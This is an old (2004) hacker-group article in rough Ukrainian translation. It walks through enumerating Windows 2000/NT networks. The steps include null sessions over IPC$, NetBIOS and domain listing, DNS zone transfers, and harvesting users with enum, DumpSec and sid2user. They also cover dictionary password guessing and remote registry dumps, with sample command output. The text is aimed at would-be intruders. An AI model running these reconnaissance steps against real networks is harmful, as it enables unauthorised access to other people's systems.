Статті для хакера і не тільки

: [LwB Security Team - lwb57]:
-------------------------------------------------- -----------------
| 27.08.2004 | written by Gotius // lwb57 |
| e-mail: gotius [at] land [dot] ru | contact: www.lwb57.org |
-------------------------------------------------- -----------------
| = --- --- | Інвентаризація Windows | --- --- = |
-------------------------------------------------- -----------------


Цю статтю я хочу присвятити багатостраждальним користувачам Windows.
Я не буду ще по сто разів промовляти страшні слова про все глюки
95/98. Не буду говорити, що після Проблема 2000 настала проблема
ХР. Я хочу написати про 2000. Відразу скажу, що по особисто моєму
думку, це з амий хороший вийми з усіх, але тільки не як сервер.
Як робочу платформу я, як мені вже здається, я буду використовувати
її до кінця часів. Ті типу «кул-мега-хацкери», які мені
Зараз кричать, що немає краще нікс. Відразу шлю в / dev / null, тому що
Нікс я визнаю тільки для дуже і дуже серйозних цілей, в першу
чергу злом / захист і т.д., але от щоб документ набрати, я туди
лізти не буду. Всі зауваження на даний рахунок шліть, на вже вказаний
мною адресу.

Отже, переходжу ближче до справи, а точніше до 2000 / NT. Я думаю, що ні
для кого не секрет, що NT хвора тим, що представляє занадто
багато інформації по будь-якому запиту. Цим небезпечним заняттям
займаються протоколи CIFS / SMB (Common Internet File System / Server
Message Block). Ці протоколи, на жаль, занадто важливі для
мережевих служб, так що просто відмовитися від них не можна. Хоча, в
2000 ви без проблем зможете використовувати TCP / IP без NetBIOS, але ось
інші глюки все ж залишилися.

Зараз я не хочу, щоб хтось кинувся на пошуки Тулов, які б
нам все виклали. Давайте згадаємо, що сама ж Майкрософт робить
наше життя простіше, а точніше трапилося ж їм випустити NTRK (NT
Resource Kit). Звичайно, цей продукт і є предмет першої
необхідності для адміністраторів NT, але він містить утиліти,
які так корисні зломщикові (чого вартий система віддаленого
управління). Отже, пакет на 2000, славно продовжує традиції.

Відразу хочу сказати, що все буде набагато ефективніше, якщо ми, для
початку, встановимо «Нульове з'єднання» або «Нульовий сеанс» (кому
як більше подобається). Це і є хворе місце CIFS / SMB і NetBIOS.
Для цього повинен бути відкритий 139 порт (відкривається за замовчуванням),
так ось, за допомогою нульового з'єднання нам дає можливість
використовувати протоколи, в той час, як ми навіть не аутенфіціровани.
Як і в попередніх статтях, в першу чергу я буду розкривати
«Рідні кошти» ОС.
Отже, щоб відкрити з'єднання, нам потрібно набрати команду
---
net use \\ 123.45.78.23 \ IPC $ "" / u: ""
---
Таким чином ми встановимо прихований канал між процесами по
протоколу IPC $, як анонімного користувача (/ u: "") і з
порожнім паролем ( ""). Якщо все пройде успішно, то ми отримаємо наш
Грааль, так ми зможемо отримати інфу не тільки про мережі, ресурсах,
користувачів, групи, але ми зможемо навіть витягнути ключі реєстру і
т.д. Є й інші назви даної проломи, але ...
1. Я їх просто не пам'ятаю (не зобов'язаний)
2. Це назва розуміють всі, так що не бійтеся його використовувати.
Для адмінів скажу, що від нульових з'єднань можна захиститися,
заборонивши подібні з'єднання в Local Sec. Policy Setting (якщо не
знайдете, то пишіть на мило, покажу на пальцях). А на радість
майбутнім хакерам скажу, що утиліта sid2user, про яку я згадаю
пізніше, все одно працює, навіть при заборонених нульових з'єднаннях
(Всі листи подяки, прямо до Білла).

Отже, зараз я пропоную звернути свої погляди на всю красу
NetBIOS. Я думаю, що нікому не потрібно пояснювати, що це таке.
Повторюю ще раз, якщо хочете, щоб все було як по маслу, так
встановлюйте нульове з'єднання, а потім все інше. І ще, я
надалі не буду приводити реальних даних і реальних IP, тому що я можу
потрапити під статтю, так що все буде трохи змінено.

Так ось, щоб отримати імена доменів мережі, ми скористаємося
командою (з ком.стр. 2000 / NT) прим. Це дуже актуально для тих,
хто юзает локалку.
---
net view / domain ми отримаємо щось типу цього ...
Domain
----------------------------------
DOMAIN_NAME1
DOMAIN_NAME2
DOMAIN_NAME3
...

Далі ми можемо подивитися всі комп'ютери певного домена
---
Net view / domain: DOMAIN_NAME2
******************************
Server Name Remark
-----------------------------------
\\ TITO I'm here
\\ MITO He is not
\\ LITO Emm ... what does it mean
\\ VASYA_PUPKIN Ou! Yo!

Не секрет, що якщо ми пропінгувати їх до цього, то ми можемо
використовувати IP замість Server name (наприклад \\ 124.11.48.15).

В принципі, ми можемо отримати дамп таблиці імен за допомогою команди
nbtstat, вказавши параметр А і вказавши IP. Ми отримаємо приблизно
наступне
---
C: \ Documents and Settings \ an> nbtstat -A 10.1.5.10

Підключення до локальної мережі:
Адреса IP вузла: [10.1.5.10] Код області: []

Таблиця NetBIOS-імен віддалених комп'ютерів

Ім'я Тип Стан
-------------------------------------------------- -
INet ~ Services <1C> GROUP З нами
IS ~ HEXDN ...... <00> UNIQUE З нами
HEXDN <00> UNIQUE З нами
HEXDN <03> UNIQUE З нами
AN <03> UNIQUE З нами
RFK <00> GROUP З нами
RFK <1E> GROUP З нами
HEXDN <20> UNIQUE З нами
RFK <1D> UNIQUE З нами
..__ MSBROWSE __. <01> GROUP З нами
ADMIN <00> UNIQUE З нами

Адреса плати (MAC) = 00-01-20-F2-37-7C

Отже, ми тут можемо побачити, що ми отримали ім'я комп'ютера HEXDN,
який належить домену RFK, а ще імена користувачів, в нашём
випадку тільки Адмін.
Праворуч від Name є коди служб NetBIOS, якщо говорити коротко, то
<00> Це служба робочої станції або Ім'я домена.
<03> Це служба розсилки, переданих на даний комп / користувача
<1D> Головний броузер
<1E> служба просотра
<20> Це служби сервера
Останнє ... RTFM

На жаль, зараз нам потрібно фішка, яка входить в NTRK,
це nltest. Так ми зможемо дізнатися, які контролери доменів
є первинними (PDC), а які вторинними (BDC) ... для цього нам
потрібно ввести nltest / dclist: domain_name2
---
List of DCs in Domain domain_name2
\\ TITO (PDC)
\\ MITO
\\ LITO
...

Далі найсмачніше ... дізнаємося кулі за допомогою нульового сеансу і нашої
команди net view
C: \ Documents and Settings \ an> net view \\ TITO
Загальні ресурси на \\ TITO

Мережеве ім'я Тип Використовувати як Коментар

-------------------------------------------------- ------
D Диск
Games Диск
Movies Диск
SAM80 (D) Диск
SCSI (I) Диск
Video Диск
фільми Диск
Команда виконана успішно.

Забігаючи трохи вперед скажу, що якщо ми отримаємо права
привілейованого користувача, то ми зможемо скористатися
srvcheck, щоб дізнатися не тільки про кульки й авторизованих юзерів,
але й про приховані ресурсах. Крім того, srvinfo -s ... спробуйте, Вам
сподобається ...

Якщо не хочеться використовувати командний рядок, то можна
скористатися утилітами Legion, Nat або DumpSec. А так же хороша
утиліта enum.

Далі непогано б нам накинутися на Вин 2К.
Де то спочатку я говорив, що нам просто необхідно отримати
дані, щодо DNS. Якщо хто не пам'ятає, DNS служить для
перетворення такого милого імені як mail.ru в його реальний IP.
Якщо повернутися ближче до нашої теми, то простір імен активного
каталогу грунтується на DNS, а ось в Вин 2000 DNS якраз відмінно
підходить для нашої наступної задачі ...
Я вже описував цю процедуру раніше, так що зараз я просто нагадаю
команду Nslookup
А потім
Server nc.dom.net
Ls -d nc.dom.net
-------------------------------------------------- ---
C: \ Documents and Settings \ an> nslookup
Server: ns.dom.net
Address: XX.XXX

> Ls -d dom.net
[Ns.dom.net]
dom.net. SOA ns.dom.net root.dom.net. (2003222838 28800 7200 604800 86400)
dom.net. NS ns.dom.net
dom.net. MX 20 dom.nex.com
dom.net. MX 30 ns.dom.net
dom.net. MX 40 gateway.dom.net
dom.net. A XX.X.XX.XX
OEM43261 TXT "31b066c632f3c44570893fb11366916a29"

OEM43261 A 10.1.5.32
cd1 A 10.1.5.14
ns A XX.X.XX.XX
ns A 10.1.5.1
ns A 192.168.0.1
mail CNAME ns.dom.net
fsbp A 10.1.5.55
user A 10.1.5.236
user TXT "31347d492f64a86fb88d301a22799a516e"

ns1 CNAME ns.dom.net
klad A 10.1.5.16
epson A 10.1.5.12
Copier TXT "313c5b23d4a74d4beb86e5e9999827232b"

www CNAME ns.dom.net
fs1 A 10.1.5.11
OEMCojhtdjt TXT "31a27188d85ff233a56e0a4d2e14713cdf"
-------------------------------------------------- ---
З огляду на специфіку Вин 2К, запис буде мати розшифровку ...
Service.Proto.Name TTL CLASS SRV PROIRITY WEIGHT PORT TARGET

Також нам непогано б інвентаризувати користувачів, ось тут ми
скористаємося enum, зливайте її з інтернету
---
Enum -U -d -P -L -c 120.13.14.56
Server: 120.13.14.56
Setting up session ... success
Password policy:
Min length: none
...
lockout threshold: none
opening lsa policy: success
names:
netbios: mycom.net
domain: mycom.net
...
trusted domain:
SYSOPS
PDC: CORP-DC
netlogon done by a PDC server
getting user list (pass 1, index 0) ... success got 12
Administrator
Puter / domain
Attributes:
Stis attributes: ...
Guest (...)
attributes: disabled
...
...
Можна ще згадати, що дана Утіла дозволяє дізнатися пароль
одного користувача за один раз, треба вказати
-D -u -f <файл словника>

У комплекті NTRK є ще пироги, які нам допоможуть usrstat,
showgrps, local і global. А так же є команда dumpsec
Dumpsec /computer=\\157.18.45.83 / rpt = usersonly / saveas = tsv /outfile=C:\haked\fuck.txt
Лістинг дуже простий, можете і самі глянути, АЛЕ НЕ забудьте про
НУЛЬОВИЙ СЕАНС ​​!!!

Нам можна отіндефіціровать облікові записи користувачів за допомогою
user2sid / sid2user. Ці утиль дають нам отримати ідентифікатор захисту
користувача (SID). SID це ідентифікатор змінної довжини, яке
дається користувачеві під час установки. Ця тема, як мені здається
досить обширна, так що я її освячу тільки за заявками, але
так ... якщо вирішите що це вам не потрібно, скажу, що за допомогою цих
утиліт можна отримати все групи і всіх користувачів на віддаленій
машині ...

У Win 2K введена нова Приблуда LDAP (Lightweight Directory Access
Protocol). У народі це обзивається Активним каталогом. там
міститься уніфіковане логічне представлення всіх об'єктів
корпоративної мережі. Звідти ми можемо витягти дуже багато інформації
про користувачів і групи ... для цього є рідне засіб ldp
(NTRK). На наше щастя, якщо ми вкажемо цієї брухті контролер
домену Win 2K, при цьому ми вже будемо знати пароль Guest (якщо він
Тобто, що навряд чи), то ми запросто проведемо нашу інвентаризацію ...
Ця Утіла має графічний інтерфейс, так що він не викличе
труднощів. Спочатку пріконнектімся (Connection-> Connect), порт 389
або 3268, якщо інший, то доведеться уточнювати, але в основному ці.
Далі зарегиться (Connection-> Bind), після цього виберемо View-> Tree
і вкажемо (якщо у нас, наприклад, bigdc.ourfirm.org) dc = ourfirm,
dc = org. І ми отримаємо нашу інфу, я не можу привести скріншот, так
що розбирайтеся самі, будуть питання - пишіть.

Останнє, що я опишу, це як нам отримати доступ до реєстру. це
буде актуально, якщо адмін - дебіл і не заборонив цю операцію,
тому вона закрита для нульових з'єднань.
наприклад:
---
regdmp -m \\ 195.47.87.89 HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CurrentVersion \ Run
-------------------------------------------------- -------
HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CurrentVersion \ Run
NVCLOCK = rundll32 nvclock.dll, fnNvclock
Synchronization Manager = mobsync.exe / logon

висновок:
-----------
На мій превеликий жаль, я не зміг написати цю статтю, де
б я зміг розкрити просто все, що стосується інвентаризації Віконець.
Швидше, у мене вийшла оглядова стаття за рідними Окошним
засобам. В принципі, це і було моєю метою, я маю на увазі
описати рідні кошти, але, звичайно, краще б було зробити це
глибше. Чому я не став цього робити, в принципі, відповідь проста:
Знаючи основи - дуже легко копнути трохи глибше. Насправді нічого
складного там немає, просто ключі, які вам видадуть трохи іншу
інформацію. Наприклад IP замість імен. У будь-якому випадку, якщо глибока
інвентаризація мінімальними витратами на паролі не так важлива, то
є багато утиліт, які з радістю полегшать вам життя. Тільки не
забувайте, що багато інформації, яку вам вони нададуть,
залишиться за лаштунками, але вона буває так, чорт візьми, корисна!


PS Як же я за # бался змінювати листинги так, щоб не можна було
зрозуміти джерела, звідки вони все таки отримані.


+ ------------------------------------------------- ---------------- +
| Сopyright 2002-2004 by LwB Security Team. |
+ ------------------------------------------------- ---------------- +